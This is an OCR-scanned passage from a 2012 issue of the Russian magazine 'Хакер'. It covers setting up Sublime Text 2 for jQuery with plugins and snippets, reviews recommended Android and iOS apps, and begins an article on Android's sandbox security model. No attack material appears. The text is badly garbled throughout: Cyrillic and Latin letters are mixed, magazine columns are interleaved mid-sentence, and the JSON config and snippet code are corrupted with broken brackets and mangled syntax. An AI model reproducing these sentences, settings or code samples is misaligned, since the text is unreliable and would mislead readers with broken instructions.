Я не буду давать советы по работе с редактором, их бесчислен­ увидишь все доступные nакеты.
ное множество на простор � х Сети. Скажу лишь одно- учи горячие Итак, для установки менеджера па кетов в SuЫime Text за­
клавиши! И это не шутка. Все дело в том, что на хоткеях основаны nускаем консоль I<Ctгl + '>) и вбиваем код. указанный в разделе
все коронные операции SuЫime Text, которые будут меньше отвле­ «lnstal lation•• на wbond.net lbit ly/wgKaFa) ! nриводить не буду,
кать от кода и помогут сосредоточиться на работе. удобней сделать копи nаст). Перезапускаем SuЫime. Отныне
Едва ли не самая известная особенность SuЫime Text - муль­ расширения можно устанавливать из консоли по нажатию <Ctгl +
тивыделение. Если нужно одновременно выделитьодинаковые Shift + Р> !или «Pгefeгences _, Package Contгol••l. Для того чтобы
значения, используем <Ait + FЗ>. Упаси боже делать это через установить новый па кет, вводим в консоли <<lnstall Package»,
поиск и замену I<Ctгl + Н>, кстати!! Одинаковые слова, теги, в статусной строке наблюдаем за процессом. Выбираем в вы­
переменны е очень просто создавать одновременн� Для этого падающем списке пакет, кл икаем по нему или нажимаем <Enteг>.
держим <Ctгl> и устанавливаем курсор на тех участках, где нужно Перезагружаемся !опционально).
ввести данные. Во всех рассмотренных ниже случаях для установки расшире­
При работе с проектами возникает необходимость быстро ний этого способа будет достаточно. Однако если пакет не включен
перемещаться между файлами, создавать новые структуры. в дефолтный канал репоэитория, п р идется подключать GitHuЬ/
В принципе, это можно сделать через сайдбар I<Ctгl + К>, <Ctгl BitBucket/JSON, о чем можно прочесть в документации к SPC.
+ В>), где папки и файлы создаются через контекстное меню.
Однако есть небольшой хинт, позволяющий сократить время, ­ JQUERY PACKAGE - ДОБАВЛЯЕМ
установка модуля AdvancedNewFile. Данное расширение создаст СИНТАКСИС И СНИППЕТЫ
за тебя папку, остается л и ш ь указать nуть расположения файла, Первое, что нам нужно для базового боекомплекта, - это под­
нажав <Ctгl + Alt + N> !вместо того чтобы создавать новую дирек­ еветка синтаксиса. В SuЫime Text соответствующий переключа­
торию, а в ней файл). Как устанавливать расширения, я расскажу тель расnоложен в nравом нижнем углу, однако jQueгy в списке
в следующей главке. не числится. Доступны JavaScгipt и JSON, но все особенности
Одна из наиболее продвинутых функций SuЫime, под которую фреймварка jQueгy данные надстройки не учитыв ают. jQueгy
выделен целый раздел меню Find, - поиск по файлам. Если в твоем Package l is gd/amЗSkN) компенсирует это небольшое упущение.
проекте счет идет на десятки файлов, удобно их открывать через Установив пакет, также можем сменить цветовую схему через
поиск, который работает шустрее, чем в любой IDE-cpeдe. Причем меню «Pгefeгences _, Соlог Scheme». В jQueгy Package также
ST поддерживает неточный ввод. <Ctгl + P/R/G>- переход к файлу/ входят сниппеты !читай главу ниже). Плюс, если ты работаешь
символу/строке. с jQueгy Moblle, советую установить jQueгy Moblle Snippets:
Во многих приложениях, которые уважают пользователя, пред­ is.gdlo8M4yj.
усмотрен полноэкранный режим. В SuЫime Text он активируется
по <F11>. Но есть и другой мегаудобный режим «Не отвлекаться» ­ ОЕТЕСТSУNТА Х ­
<Shift + F11>. В нем переключаешься между вкладками через <Ait + АВТООПРЕДЕЛЕНИЕ СИ НТАКСИСА
цифра>. Можешь побаловаться со слоями ilayouts) и выбрать наи­ SuЬiime Text не читает твои мысли, позтому из начально формат
более удобный режим - <Shift + Alt + цифра>. документа не определен. Соответственно, синтаксис не работает,
Если трудно сразу все это запомнить. можно воспользоваться ин­ и его нужно устанавливать вручную. Расширение DetectSyntax 1�
терактивным тренажером для клавнатурных сочетаний: IS.gd/diOPI H. �) позволяет задавать специальные правила для автоопреде­
Шпаргалка на русском языке: �d�. ления любого синтаксиса.

Tools Prtfet<ertc6 Н�р

jqu�ry�llsino-<ompmbllity.1.2.pllck-js jqu�ry.js

instal�

SuЫime Package Control, установка расwмренмй

ХАКЕР 1 1 /166/2012
PCZONE

Если мы хотим, чтобы все наши файлы открывались в jQueгy,


в конфиг Packages/Useг/DetectSyntax.suЫime-settings нужно до­
бавить nравило:

Конфиг DetectSyntax. suЫime-settings


{
" n ame" : "jQueryJavaScript" ,
"rules" : (
{ "file_name" : " . '\\ . js$" }
]

Здесь jQueгyJavaScгipt - это название синтаксиса, который


Zen Coding в действии
мы установили вместел jQueгy, значение name взяли из Packages\
j Q ue гy\Syn ta xes\j QueгyJ avaSc гi pt. tm Language. On ци она л ьн о na ра­

undefined
метром fiгst_line можно задавать текст первой строки для формата. 1

Правила lгules) пишутся на RegExp. Для изучения nроще всего от­ undefined
крыть конфиг Packages/DetectSyntax/DetectSyntax.sublime-settings
или перезаnисать файл в директорию Useг. Никогда не редактируйте Вызов снмnпета
дефолтный конфиг, не зря есть юэерские настройки.

УЛУЧШАЕМ ЧИТАБЕЛЬНОСТЬ С JSFORMAT


Во время хардкорного кодинга сложно соблюдать nорядок nри
оформлении и нередко возникает бардак. Структуру кода нужно
nриводить в читабельный вид, но нерационально делать это вруч­ Вставка снмnnета
ную. Так называемых бьютиферов для JS немало, JsFoгmat 1�
.в.JШdQ) - один из них. В действии расширение nроявляет себя так:
выделяешь участок JS-кода, кото рый нужно nривести в nорядок, ятельно. Также можете менять цвета оnределения ошибок по
нажимаешь комбинацию <Ctгl + Alt + F>. своему усмотрению.
Можно nоковыряться в конфиге JsFoгmat/JsFoгmat.suЫime­ По умолчанию работает фоновый режим IBackgгound mode). оnти­
settings и, если что-то не устраивает, nоменять настройки nод мальный для реалтайм-отслеживания ошибок. Также возможны:
себя. Вот некоторые nолезные оnции: • Load-save mode lсохранение/эагруэка),
• "max_pгeseгve_newlines": 4 - максимальное количество раз­ • Save-only mode [только nри сохранении),
рывов строк в фрагменте; • On demand mode [nоиск ошибок nо требованию, nосредством
• "pгeseгve_newlines": tгu e - сохранение существующих разры­ клавиш <Ctгl + Ait + L>).
вов строк;
• "jslint_happy": false - включение строгого режима jslint-stгicteг; SuЫimelinteг универсален и nоддерживает не только JavaScгipt,
• "bгace_style": "collapse" - стиль скобок [collapselexpandlend­ но и Python, Регl. Ruby, CSS и nрочие языки.
expandlexpand-stгict] lno умолчанию <<collapse>>);
• "keep_aгray_indentation": false - сохранять отстуn в массивах. НЕ ЗАПУТАТЬСЯ В ДВУХ СКОБКАХ
С BRACKETHIGHLIGHTER
JSMJNJFJER: Новичкам, в частности, очень сложно разобраться, где в jQueгy 1�
МИНИМИЗИРУЕМ JS �) скобка открывает код, а где закрывает. В довесок к nре­
Порядок в коде мы наводим для себя. для выкладывания на серве­ дыдущему расширению этот nростенький модуль nодсвечивает
р е стоит задача минимиэировать количество строк. JsMinifieг [,� nарные скобки.
�) компрессирует код, основываясь на nравилах Google
Closure Compileг и UglifyJS: убирает комментарии, nробелы, кавыч­ ZEN COD ING - ПОЗНАЕМ ДЗЕН ЧЕРЕЗ HTML
ки. nрочее. Выделив код и нажав <Ctгl + Alt + М>, ты nриятно уди­ При работе с HTML jQuегу-nрограммисту часто n риходится за­
вишься :]. Если нужно сохранить исходный и конечный результаты ниматься коnиnастом, клонируя те или иные теги. Zen Coding [1�
раздельно, скоnируй код через <Ctгl + Alt • Shift + М>, создай новый !J..t:l.!2tlU) максимально уnрощает этот рутинный nроцесс, nозволяя
файл и вставь в него комnрессированный буфер обмена. одной строкой описать будущую структуру документа. В действии
можно увидеть тут: Vlmeo.com/74051 1 4.
ПРОВЕРКА ПРАВОПИСАНИЯ Для создания базовых тегов и DОСТУРЕ в НТМL-документе на­
С SUBLIMELINTER жимаем <Ctгl + Alt + Shift + Н>. Далее есть два метода ввода:
Для поиска ошибок в коде оптимально задействовать брауэерную 1 ) хорошенько подумать, что нам нужно, и выразить это одной zеn­
консоль, но не очень рационально с ее nомощью ловить оnечатки. строкой, нажав затем <Ctгl + Space> или <ТаЬ> для превращения
В данном случае окажет nолезную услугу расширение SuЫimelinteг заnроса в HTML;
[is.gdl!oZ31q), которое в режиме реального времени следит за 2) одновременно вводить zen-эanpoc в консоли [<Ctгl + Ait + Enteг>)
корректным наnисанием кода на основе nравил JavaScгipt lсм. � и смотреть на результат. Этот режим называется zen_as_you_type.
hU!lliY как nример). SuЫimelinteг nредлагает валидаторы jshint,
jslint и gjslint. Остальные возможности оnисаны эдесь: is.gd/RUiqj2. В довесок
Кроме того что nакет нужно устанавливать через SPC, к Zen Coding можно установить расширение Tag. которое форматирует
для Windows nридется с качать интерnретатор с сайта nodejs. НТМL в более читабельный вид. - is .gd/X9105R.
"Огg. Вnолне возмоЖно, что nонадобится nодnравить конфиг
<<Pгefeгences --+ Package Settings --+ SuЫimelinteг --+ Settings ­ ПИ Ш ЕМ СВ ОЙ С НИПП ЕТ
Default» и указать в nараметре suЫimelinteг_executaЫe_map В SuЫime Text снипnеты - это фрагменты кода, которые часто nри­
адрес экэешника node.exe, если nуть не оnределится самосто- меняются в оnределенном языке и могут быть вызваны через меню

ou ХАКЕР 1 1 /166/2012
П.:>знаем Д а о SuЫime Text 2

< 1 (CDATA[if (typeof jQuery == ' undefined ' ) { \


${0: $SELECТION } 11 На случай > если jQuery на
странице �ет.... ничего не
за гружаем .
} ]] >
</content>
сta ЬТ rigger> u ndefined с /tabТ rigger >
c/snippet>

Комментарий в снип пете мы затрем в любом случае, позтому


с помощью $SELECTION выделяем его. $SELECTION - пере­
менмая окружения, расшифровку переменных читай ниже. $1 ..
$п - поля, между которыми можно переключаться с помощью
<ТаЬ>. Поля могут быть зеркальными, то есть несколько значе­
ний $1 будут изменяться одновременно. Плейсхолдер - поле со
значением по умолчанию. Будьте вни мательны: ноль указывает
на то, что данный фрагмент будет конечным при выделении
ТаЬ'ом, а не первым (как хотелось бы думать!. Так, в следующем
примере:

ПОрядок мейсхо11Деров в снмnnете


cstring>
. hide(${1/ ( " [0-9)+$) 1 .+/( ? 1 : : ' )/}
${1: slow/400/fast}${1/ ("(0-9 )+$) ( .+/( ?1: : ' )/}, function()
Подсветка смнтаксмса )Query + тен а Twlllght ${0 : // То, что нужно выполнить nосле анимации };
}) ;
</string>
или сокращенный ввод. Не стоит путать определение «снип пеп>
с классическим, википедийным определением - в программирова­ 1:slow/400/fast - начальная точка, 0://• • • - конечная. Помимо
нии это более широкое понятие (см. js.gd/laPwyxl. этого, есть еще переменные окружения.
Снип пет срабатывает при вводе сокращенного выражения
и нажатия <ТаЬ>. Также всегда можно воспользоваться подсказкой $РАRАМ1 • • $PARAМn - аргументы, передаваеМЬ!е команде
через меню <<Tools __, Sпippets ... >>, где ты увидишь список сниппетов insertSnippet
и сокращений, по которым срабатывает сни ппет. $SELECТION - текст, который будет выделен в сниппете при
Анатомия сниппета достаточно проста, чтобы написать ero само­ его срабатывании
стоятельно. У нас есть шпаргалка - глава неофициальной докумен­ $TM_CURRENT_LINE - текущая строка, в которой будет
тации (is .gd/55pl171 и огромное количество примеров, установленных установлен курсор при заnуске триггера
вместе с пакетом JQueгy Package, в папке Packages\jQueгy. $TM_CURRENT_WORD - текущее слово, на котором будет
Первый доступный способ создать сниппет- через меню установлен курсор nри заnуске триггера
<<Tools __, New Sпippet. . .>>. Перед нами отобразится шаблон, который $TM_FILENAМE - имя редактируемого файла, включая его
мы модифицируем. расширение
$TM_F ILEPATH - путь редактируемого (текущего) файла
Шаблон снмnnета $TM_FULLNAМE - имя пользователя
csnippet> $TM_LINE_INDEX - столбец, в который будет вставлен
ccontent> сниппет J е - значение по умолчанию
< 1 [CDATA[Hello, ${1 :this} is а ${2 : snippet} . ] ] > $TM_LINE_NUMBER - ряд, в который будет вставлен снипnет,
</content> 1 - значение по умолчанию
< 1 - - <taЫrigger>helloc/taЫrigger> -- > $TM_SELECТED_ТЕХТ - синоним Д/\ Я $SELECТION
с ! - - cscope>source. python</scope> - - > $TM_SOFТ_TABS - YES, если translateTabsToSpaces истина,
</snippet> иначе NO.
$TM_TAB_SIZE - nробелов в табуляции (настраивается оnцией
Расш ифровка: tabSize)
• snippet-oбepткa сниnпета, его начало и конец;
• соntеnl- содержимое, которое будет добавляться едокумент nри Сниппет сохраняем в папку <<Packages __, User>> как имя_файла.
срабатывании сниnnета: <!IСDАТА[вставляем содержимое сюда]]>; suЫime-sпippet, он готов к использованию.
• tabTгiggeг- nри вводетриггера (hellol и нажатии <ТаЬ> сниnnет Любителей хардкора отnравляю к неофициальной документации.
вставится в документ; Кто предпочитает более гуманные способы написания снип петов,
• scope -селектор диапазона для активации сниппета, проще рекомендую установить расширение SaпeSnippets, что немного об­
говоря - в файлах какого формата будет исnользоваться снипп ет. легчит их наnисание.
Например, указываем <scope>souгce.html</scope> для его акти­
вации сугубо в НТМL-сорцах; З АКЛЮЧЕНИЕ
• descгiption - человеческое описание сниnnета. Как оказалось, Sublime Text в связке с расширениями можно на­
Теперь рассмотрим nростенький при мер. строить nод такую узкую программерскую среду. как jQueгy. Логично
предположить, что с таким списком поддерживаемых языков ты
Пример простейwего снмnnета можешь переквалифицировать этот редактор и nод другую область.
csnippet> Выбирай модули на свой вкус, nравь конфиги, учи горячие клавиши.
ccontent> Удачного кодинга! :::1:

ХАКЕР 1 1 /166/2012
Евгений Зобнин [androidstreet.гul
X-MOBILE Олег Прокопьев !appstudio.orgl

wие иэ

ОБЗОР ПРИЛОЖЕ НИЙ, Android


КОТОРЫ Е ДОЛЖ Н Ы Titanium Backup
Android 1 .о м вь1wе
БЫТЬ УСТАНОВЛЕ Н Ы ma!r.l!rtwri!eыQ1!lll.n d rp,iМ
&ес п nатно

НА КАЖДОМ Об этом легендарном инструменте

С МАРТФ ОН Е знают уже, наверное, все, но не побоюсь


повториться. Titaпium Backup - лучшее
иэ всех Апdгоid-приложений для выполне­
ния бэкапа всего и вся. Бесплатная версия
этого приложения не блещет особым функ­
В ку сы, потре бн ос ти и спосо б и спол ьз ования ционалом, однако позволяет качественно
и корректно производить бэкап приложе­
смартф она у каждого из н а с с в ой , и в с е ний, их настроек и данных пользователя, в том числе выполнять
мы ус танавли ваем н а дева й с тол ько резервное копирование по расписанию и только для приложений,
те п рил ожен ия, которые с читаем нужн ыми версия которых иэменилась.
Заплатив же 188 рублей, ты получишь доступ к огромному коли­
для с ебя. Тем н е ме н ее с н е которыми честву других функций, включая возможность заморозки приложе­
с итуа ц иями и задачами ра но или п озд н о ний, синхронизации с ОгорЬох и Google Dгive, возможность бзкапа
SMS и MMS, закладок, списков точек доступа и их па ролей, под­
с талкивает с я кажды й , поз тому мы держку шифрования, возможность быстрого переноса приложений
п редлагаем подб орку п р и л оже н и й , кото рые на системный раздел, возможность восстановления приложений
прямо и э бэкапов, созданных с помощью ClockwoгkMod, экспорт бз­
п р и годятс я л ю бому, кто активн о п ол ьзует с я капа в нескольких различных форматах и многое другое. Настоящий
смартфо н ом. ,• ..
бэкап-комбайн, который умеет все и определенно стоит своих денег.

- -- - - - - - - - - - - - - - --- - ---------··· - - - - - - - - - - - - - - - - - - - -- -- - - -- - -- - - - - - - - - - ---- - - - - - - - - -- -- -- -- - - - - - - -- - ·- - - - --·--- - - - - - - - - - - - ----·--- - - - -- -···-··-···----- ·· · · · - - -- - - - - - - - - ·· · · · · · · - - - - - - - - - - ---- ----------- - - --- --

050 ХАКЕР 11 /166/2012


Лучшие из лучших

Ghost
Commander - AirDroid

-
Androld 2 .1 11 1ыwе
Androld 1.6 II IЫWt alrdroid.com
ш...gi/D Ы Xw 6есппатно
6tcnnaтнo
AiгDгoid - одно
Ghost Commaпdeг- один из лучших из лучших приложе­
файловых менеджеров для Aпdгoid. ний для доступа к
Внешний вид его зависит от положения данным смартфона со
экрана: в горизонтальном положении стационарного ПК или
это будет двухпанельный файловый ноутбука. Позволяет
менеджер, следующий традициям Nогtоп копировать файлы,
Commaпdeг и Fаг. В портретном режиме устанавливать/удалять
вторая па не ль будет сп.рятана, но доступ приложения, читать/
к ней можно будет получить с помощью свайпа. Менеджер под­ отправлять SMS, редактировать контакты, проелушивать и за­
держивает все основные функции работы с файлами, может ра­ ливать на устройство музыку, снимать скриншоты и выполнять
ботать с права ми гооt. показы вает превью изображений, иконки многие другие операции с помощью виртуального многооконного
приложений, позволяет читать и редактировать текстовые рабочего стола, открываемого прямо в браузере. Для получения
файлы, «ходить>> по ZIР-архивам, FТР-серверам и SМВ-дискам. доступа к этому интерфейсу достаточно подключиться к Wi-Fi­
Идеально подходит для планшетов и смартфонов с б ол ь ш и м и ceти, запустить приложение и набрать в браузере адрес и па роль,
экранами. показанный AiгDгoid.

.
il 11-
Pocket ""' •. о 1
Barcode Scanner
Androld (1ерсмн эавмсмт от устройства)

[!]
Androld 2.2 11 1ЫWI

[!] .
getpocket. com goo.gl/eWoL .

6есnnатно 6tcnnaтнo ·..

Веб-серфинг со с мартфона - не самое Забавные черно-бе-

1�-
удобное занятие, но можно его упростить, лые квадраты, которые ты
если воспользоваться сервисом отложен­ видишь рядом с описанием ..

ного чтения Pocket. Он обрежет со страни- каждого приложения в этом


цы все лишнее, оставив лишь актуальный обзоре, - это QR-коды. Они
-·--­
текст, сопутствующие ему изображения и ____..,. могут содержать в себе лю-
видео, а затем сохранит результат, так что бую текстовую информацию,
статью можно будет прочитать позднее. закодированную в виде изо-
У сервиса есть бесплатное приложение для устройств под бражения. В данном случае
Aпdгoid и iOS, позволяющее просматривать список сохраненных QR-коды содержат ссылки на страницы приложений в Google Play.
статей, читать их, открыв н а полный экран и настроив цвета текста Чтобы прочитать их и открыть, воспользуйся приложеннем Вагсоdе
и фона, а также отправить нужную страницу в Pocket из любого Sсаппег. Уста нови, запусти, наведи камеру на код. и ты увидишь
браузера с помощью пункта меню или кнопки «Поделиться>>. ссылку и кнопку, которая откроет страницу приложения в Маркете.

Prey Anti-Theft Shazam


Androld 1 .6 м аыwе Androld (версмн эавмсмт
preyproject .com от устройства)
6есnnатно shazam .com
6есnnатно
Потеря или кража с мартфона - обычное

рге�.
дело. Поэтому стоит заранее позаботиться Случайно услышав интересную музы­
об установке на с мартфон шпионского при­ кальную композицию, мы обычно начинаем
ложения Ргеу, которое позволит отсле­ спрашивать знакомых и проводить многие
дить местоположение девай са в режиме часы в интернете, чтобы ее найти. В XXI
реального времени. После установки веке все это можно сделать за считаные
и регистрации приложение уйдет в сон, секунды. Приложению Shazam достаточно
позволив пользователю войти на веб-сайт короткого фрагмента трека, записанного
Dгeypгoject com, выбрать свое устройство и при необходимо- на встроенный в смартфон микрофон, чтобы точно определить
сти, нажав кнопку «Потерян», отслеживать его местоположение исполнителя, название композиции. а также дать тебе исчерпыва­
на карте с помощью GPS, а также получать информацию о смене ющую информацию о том, где ее найти.
51 М-карты, текущем состоянии устройства и скрин шоты экрана. Буквально за несколько секунд фрагмент анализируется
Кроме того, смартфон можно удаленно заблокировать или сбросить на удаленном сервере и сравн ивается с базой данных из мил­
до эаводских настроек: лионов композиций, включая ремиксы и кавер-версии. Система
Владельцам рутаванных смартфонов рекомендуется поместить работает настолько хорошо, что ошибок почти не б ывает, а ответ
приложение в системный каталог, чтобы оно не исчезло при сбросе «Композиция не оп ределен а>> возможен, только если трек совсем
смартфона до заводских настроек. свежий и звучит впервые.

ХАКЕР 1 1 /166/2012 051


X-MOBILE

CluBalance
Androld 1.6 м выwе
SystemPaneiLite
Androld 1.5 м выwе �z
сайта нет
бесnnатно
сайта нет
бесnnатно -
Все мы проверяем баланс нашего счета Апdгоid-приложения могут давать сбои,
на мобильном телефоне. Чтобы не делать при этом существенно потребляя память,
это вручную, можно разместить на экране нагружая процессор и тратя слишком много
виджет CluBalaпce, который будет авто- интернет-трафика. Чтобы выявить <<наруши-
матически посылать запросы оператору телей>>, можно использовать монитор про-
и показывать на экране количество денег цессов и системы SystemPaпel, с помощью
на счете. Виджет имеет большую базу которого легко выявить пожирающие много
данных операторов и параметров запросов, ресурсов и энергии п р иложения, просмо-
так что начинает работу сразу после размещения на экране. Такие треть статистику использования ресурсов, оценить нагрузку на си-
опции, как размер, внешний вид виджета, а также время опроса стему, получить детальную информацию о смартфоне и, конечно
!после звонка, после отправки SMS, в полночь и так далее! можно же, прибить неугодных. Приложение отличает приятный и очень
легко настроить по своему вкусу. информативный интерфейс.
�--·-----------------------------------------------------------------·------------------------------!·:�·:_[���·::_ __________________________________________________________ _________________________________________

iOS

11
Bump ,. ьump GoodReader
105 ,,1 м выwе for iPhone

[!] -
hltos:Ubu . mp
.
105 ,,о м выwе
6есnnатно goodreader,com
,,99 $
Спроси у любого ненавистника iPhoпe
о главных недостатках смартфона Apple, Приложение GoodReader изначально
и он с большой долей вероятности скажет задумывалось разработч иками как хорошая ===- -----

тебе, что обмен файлами по-прежнему читалка для РDF-файлов, но спустя не­ , .. ____ _

является слабым местом любых iОS­ сколько лет можно констатировать, что это
устройств. одна иэ лучших программ для просмотра
Отчасти это верно: посылать файл и управления файлами документов на iOS.
по почте долго, передавать через iMessage - чуть быстрее, но GoodReader открывает практически любые файлы - не только
тоже неудобно lи возможно только с другим пользователем iOS/ документы Microsoft Office, iWork, txt, RTF, но даже аудио и видео.
Macl, а использовать Bluetooth или Wi-Fi для подобных целей Программа умеет создавать и распаковывать архивы, может
iOS вообще не разрешает. Но в Арр Store есть много интересных подключаться к серверам Web DAV, FТР, SFTP и AFP, интегриро­
приложений, упрощающих обмен файлами между различными вана с iCioud, Dropbox, SkyDrive и SugarSyпc. Кроме того, прямо
гаджетами. Например, Bump. Эта программка, выпускаемая и для на iPhoпe ты можешь распределять документы по папкам. Что
iOS, и для Aпdroid, позволяет передать фотографии и контакты с касается возможностей работы с <<родным>> для программы форма­
одного устройства на другое весьма необычным способом: до ста- том PDF, здесь GoodReader предлагает сверхбыстрый движок, без
точно легонько стукнуть одним устройством о другое.
------------------------------------------------------- ------------------------- --------------------
...---r---...
� :: ··r��: :·--------------------------------------------------------------------------------------------------
проблем открывающий файлы весом более 300 Мб.

.
.
__

iCab Moblle PhotoForge2


105 3.1 м выwе 105 , ,2 м выwе
www.!cab-moЬIJe.de photoforge2.com
1,99 $ 2,99 $

Если тебя полностью устраивает мо­ Прошли те времена, когда фоторедак­


бильная версия Safari, встроенная в iOS, ....__ _.,....,. ,.,_ торы в Арр Store были в дефиците. Сегодня
-·---·­
то браузер iCab MoЬile тебе вряд ли понадо­ .. -- ....,. "·-­ там представлены как решения для про­
---11(-.--
бится. Однако, если тебе необходимы такие фессионалов, так и базовые программы.
функции, как встроенный менеджер загру­ PhotoForge2 - нечто среднее между ними.
зок, блокировка рекламы, полноэкранный С одной стороны, это полноценный фоторе­
режим, поддержка жестов, синхронизация дактор, работающий с фотками в исходном
закладок через Dropbox или Firefox Sупс, советуем обратить вни­ разрешении, поддерживающий слои, 25 видов настраиваемых
мание на главного конкурента Safari. iCab MoЬile сам по себе умеет филыров и эффектов, работу с кривыми и уровнями, корректиров­
многое, а поддержка дополнительных модулей расширяет его воз­ ку баланса белого, контраста, резкости, оттенков и тому подобное.
можности еще заметнее. Ты можешь гибко настроить этот брауэер С другой стороны, редактировать фотографии в программе ­
под свои нужды. сплошное удовольствие, настолько удобно организован интерфейс.

052 ХАКЕР 1 1 /166/2012


11-�
Лучшие из лучших

.
·
Launch Center ·
Tuneln Radio
Pro 105 ,.0 м вwwе
105 5.1 м вwwе � tunein.com/m obile/ios
- • 1
npcubby.com/launch-center Г-1
L:J . .. беспnатно
2,99 $
Хотя на аnnаратном уровне iPhone nо-
Без джейлбрейка в док iPhone можно следних nоколений имеют nоддержку FМ-
nоместить лишь четыре иконки, nозтому радио, в Appie n родолжают блокировать
их выбор - дело неnростое, требующее функцию радио в драйверах iOS. Позтому
основательных размышлений. Утилита для тем nользователям, которые хотели бы
быстрого заnуска Launch Centeг Рго точно слушать любимые радиостанции на своих
заслуживает отдельного места в доке м но- яблочных девайсах, n риходится доволь-
гих iPhone. В ее основе лежит несложная и логичная мысль: ты за- ствоваться интернет-радио. Вnрочем, с такими nрограммами,
nускаешь nрограммы НЕ\.nросто так, а чтобы выnолнить оnределен- как Tunein Radio, ты быстро забудешь об отсутствии в iOS нор-
ные задачи [nозвонить, наnисать сообщение, отnравить nисьмо ... !. мального встроенного радиоклиента. Приложени е открывает тебе
Поэтому Launch Centeг Рго умеет не nросто заnускать nриложения, достуn к огромному каталогу из 70 000 радиостанций [в том числе
а сразу назначать им конкретные действия. Наnример, ты можешь и большинства российских!, nричем искать интересные станции
создать ярлык <<Позвонить девушке>> - и одним таn ом будешь ты можешь не только no жанру. но даже no исnолнителям или
вызывать набор номера, <<Наnисать nисьмо боссу>> - и сразу от· конкретным nесням. Из доnолнительных бонусов отметим радио-

f :: �
кроешь окно создания nисьма нужному адресату. будильник и nоддержку трансляции звука через AiгPiay.

- -

··· · ·----------------··········---------------------------------···----- -- --- ---------------·· ------ �· -� : ---------------- --------------------------------------·-···· ······---------- --------------········--

-
i,:J �!:�::�:�:. 11
Air Video =
105 ,,3 м выше

�-
,_ �.. мо--

www.inmethod.com/air -video
2,99$

':::1
J
,. ""' Излюбленная в Apple nо-
Помимо уnомянутого AVPiayeг, есть куда
более оригинальное решение для про- "'- ...., _ ."..,_.. литика странных ограничений -
�� "-' - '�
.
смотра видео без конвертации, вообще не касается и nоддерживаемых

,.
-
nредnолагающее заливки видеофайлов в ., .,."__ _ встроенным nлеером форматов --
твое iОS-устройство. Это nриложение Аiг видеофайлов, из-за которой не Г\ �
Video, которое может организовать стри- теряют nоnулярности универ-
минг видео с комnьютера в домашней сети сальные видеоnлееры для iOS " • ... .. "

на iPhone, iPod touch или iPad. Все устроено достаточно nросто: в Арр Stoгe. Для nробы всем
на комn ьютер, с которого nланируется вести стриминг [неважно, nользователям хотелось бы
будет это Мае или PCI, ставится серверное nриложение Аiг Video, nорекомендовать AVPiayeг, который восnроиз ведет nрактически
а в его настройках указываются nаnки, в которых ему стоит искать любое видео [от AVI и WMV до XVID и MKVI без необходимости
видеофайлы. Затем ты можешь nодключиться к серверу Аiг Video nредварительной конвертации. Форматы MKV, AVI, МР4, MOV и M4V
через одноименное iОS-nриложение, найти интересующий тебя могут nроигрываться даже в разрешении 1080р. Пожалуй, главные
видеофайл и заnустить его на восnроизведение. Конвертация достоинства AVPiayeг - стабильность и всеядность. В отличие

-..,
будет nроисходить на лету, nричем н е с nомощью iPhone, а силами от многих конкурентов, nриложение реже всего страдает nодтор-

.• .• : �
транслирующего комnьютера. маживаниями, лагами звука и графическими артефактами.
,..-·

�-���-��;-��-�-��0�::.. Т'ШСr;;;;;;,��
· ·
·
- - - ·- -------------------------- --------

шш ш ш шш шшш ш шш ш ш , шш ш ш 8
!!1
00 -�
,pp shopper.com

11'1
... =-'"'""'"'""......... "'" �
-
_
6есnnатно , -

.... .
Голосовой ассистент Siгi для отече­ В Арр Stoгe регулярно nроводятся ски­
ственных nользователей nока nредстав­ дочные акции no самым разным nоводам: no -
ляет мало интереса, nоскольку nоддержки случаю различных nраздников, в честь го­
русского языка нет. Но и для тех языков, довщины nоnадания nрограммы в Арр Stoгe,
с которыми Siгi уже дружит, nростор nеред релизом новой версии или nросто
для развития возможностей nомощника для nривлечения внимания. Проблема лишь
огромен. Наnример. nочему нельзя сказать в том, как отследить всю эту информацию о
Siгi фразу на одном языке, а в ответ услышать nеревод этой фразы скидках. В Арр Stoгe до сих пор нет раздела «Скидки дня», nоэтому
на нужный тебе другой язык? Именно так nодумали создатели nользователи nрибегают к nомощи сторонних сер висов, ведущих
nереводчика iTгanslate Voice, который работает no оnисанному мониторинг магазина nриложений Apple. Самый известный из
nринциnу. Ты выбираешь исходный язык и язык nеревода, а nотом них - AppShoppeг, бесnлатный клиент которого рекоме ндуется к
nроизносишь нужную фразу. После секундной nаузы iPhone зачи­ установке на каждый iОS-гаджет. Ты сможешь не только следить за
тывает тебе nеревод. На экране отображаются расnознанный текст скидками, но и добавить в wish-лиcт те nриложения, которые хотел
и результат nере вода, nри желании их можно отредактировать, бы куnить, как только их цена снизится. Тогда nрограмма уведомит
а nотом отnравить no nочте, через SMS или в Twitteг. тебя сразу же, как начнет действовать очередная скидка.

ХАКЕР 1 1 /166/2012 053


X-MOBILE Евгений Зобнин (androidstreet.rul

ОБОРОНА
В ОСОБЬ IХ '

УСЛОВИЯХ
РАЗБИ РАЕМСЯ
В СИСТЕМЕ ОБЕСПЕЧЕНИЯ
БЕЗОПАСНОСТИ AN DROI D
And гoid - м о л ода я о п ер а цио н на я с и сте м а , и ее, к а к л юбую дру­ собственные файлы, но заnрещают делать это
любому другому nроцессу.
гую новорожде нную ОС, п р и нято упр екать в отсутствии дол ж н о ­ В Andгoid это называется песочницей
г о уровня б езопасности. А нтивирус ные компа н и и и п роф и л ьные lsandboxingl, которая nозволяет сберечь данные
соседних nриложений друг от друга, не позво­
а н а л и т и к и р а п ортуют о настоящ е м бу м е вредо н о с н о го П О для л и в зловреду утащить частную информацию,
Andгo i d и п р едрекают скорое н а ступл е н и е а р м и и зомб и -вир у­ сохраненную любым nриложением системы.
В nесочницу nоnадают абсолютно все nрило­
сов, которые опустошат кошельки пользовател е й . Н о т а к л и жения, включая заранее предустановленные
уязви м зел ены й робот н а с а м о м дел е ? на апnарат. Фактически лишь небольшая часть
Andгoid работает с правами гооt, а именно на­

l:lфiФ!Щiil!
чальный nроцесс zygote, выполняющий функции
возможно, защитить свои данные от злоу­ контроля за исnолнением nриложений, и не­
На заре своего развития Andгoid стала на­ мышленников? Обо всем этом повествует наш большая часть системных сервисов. Все осталь­
стоящим магнитом для наnадок со стороны сегодняшний обзор. ные приложения всегда работают в nесочницах,

.D§iфi:ID§IЩ:U
антивирусных ко мnаний и неза висимых поэтому зловред, даже прошедший процедуру
исследователей: инженеров Google обвиняли «вnаривания» nользователю, не может утащить
в недальновидности, огромном количестве В своей основе Andгoid nолагается на ядро ничего ценного, кроме содержимого 50-карты,
брешей и общей ненадежности архитектуры Linux, которое выnолняет большую часть достуn к которой no умолчанию открыт всем
